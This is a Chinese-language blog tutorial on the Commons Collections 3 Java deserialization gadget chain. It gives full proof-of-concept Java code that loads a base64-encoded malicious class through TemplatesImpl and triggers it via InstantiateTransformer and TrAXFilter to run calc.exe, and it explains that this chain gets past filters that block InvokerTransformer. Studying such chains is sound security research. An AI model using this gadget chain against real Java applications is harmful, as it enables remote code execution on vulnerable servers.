Java篇Commons Collections 3

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Commons Collections 3

前面我们讲到了利用TemplatesImpl加载字节码，只不过那时我们是手动调用的newTransformer来触发的，接下来我们就来看看如何利用cc链来触发，以及cc3中用到的新类

这里用cc链来触发，实际上就是指用InvokerTransformer来调用newTransformer这个方法嘛，和前面的方法是一样的，这里我就直接给出代码了：

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

import java.lang.reflect.Field;
import java.util.Base64;

public class CommonsCollections3_1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer [] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer",null,null)};
        Transformer transformersChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        //Map outerMap = TransformedMap.decorate(innerMap,null,transformersChain);
        //outerMap.put("name","Arsene.Tang");
        Map outerMap = LazyMap.decorate(innerMap,transformersChain);
        outerMap.get("name");
    }
}

image.png

这里是用的手动触发，当然我们还可以改成反序列化触发，甚至于写成更加通用的cc6的链子，这里面的内容好像我前面的文章都讲了，这儿我就不浪费时间了，直接切进主题，看看cc3

为什么要出现cc3

其实在前面我们已经已经有一条cc6的通用链子了，那我们为什么还需要cc3呢，因为我们得绕过一些过滤，因为现在很多的反序列化过滤器都过滤掉了InvokerTransformer，这样我们原始的cc1的链子就打不通了，所以说我们得换个类来代替它

InstantiateTransformer

而这个类就是org.apache.commons.collections.functors.InstantiateTransformer，InstantiateTransformer类也是实现了Transformer接口的一个类，而它的作用是调用构造方法，先看看它的代码吧：

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public class InstantiateTransformer implements Transformer, Serializable {
    public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var6) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException var7) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
        } catch (IllegalAccessException var8) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
        } catch (InvocationTargetException var9) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
        }
    }
}

可能大家会有疑问，只能调用构造方法有什么用呢，那假如我们能找到一个类，在它的构造方法中，正好就调用了TransformerImpl类中的newTransformer()方法，那不就完美了嘛

TrAXFilter

而这个类，就是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter，在这个类的构造方法中，就正好调用了(TransformerImpl) templates.newTransformer()，免去了我们使用InvokerTransformer手工调用newTransformer了，看看它的代码：

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public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;
    private TransformerHandlerImpl _transformerHandler;
    private boolean _overrideDefaultParser;

    public TrAXFilter(Templates templates) throws TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();//调用
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }
}

那这不就好起来了，只要我们利用InstantiateTransformer来调用到TrAXFilter的构造方法，那么它就会自动调用templates.newTransformer()，就可以加载我们放在TemplatesImpl里面的字节码了

所以说调用链如下：

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Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
 };

把这个Transformer数组替换掉之前那个数组就可以了，所以说完整代码如下：

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;
public class CommonsCollections3_1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };
        Transformer transformersChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformersChain);
        outerMap.put("name","Arsene.Tang");
            }
}

image.png

成功弹出计算器，当然这也是手动触发哈，想要反序列化触发就看看前面的文章吧POC改改就好了哦

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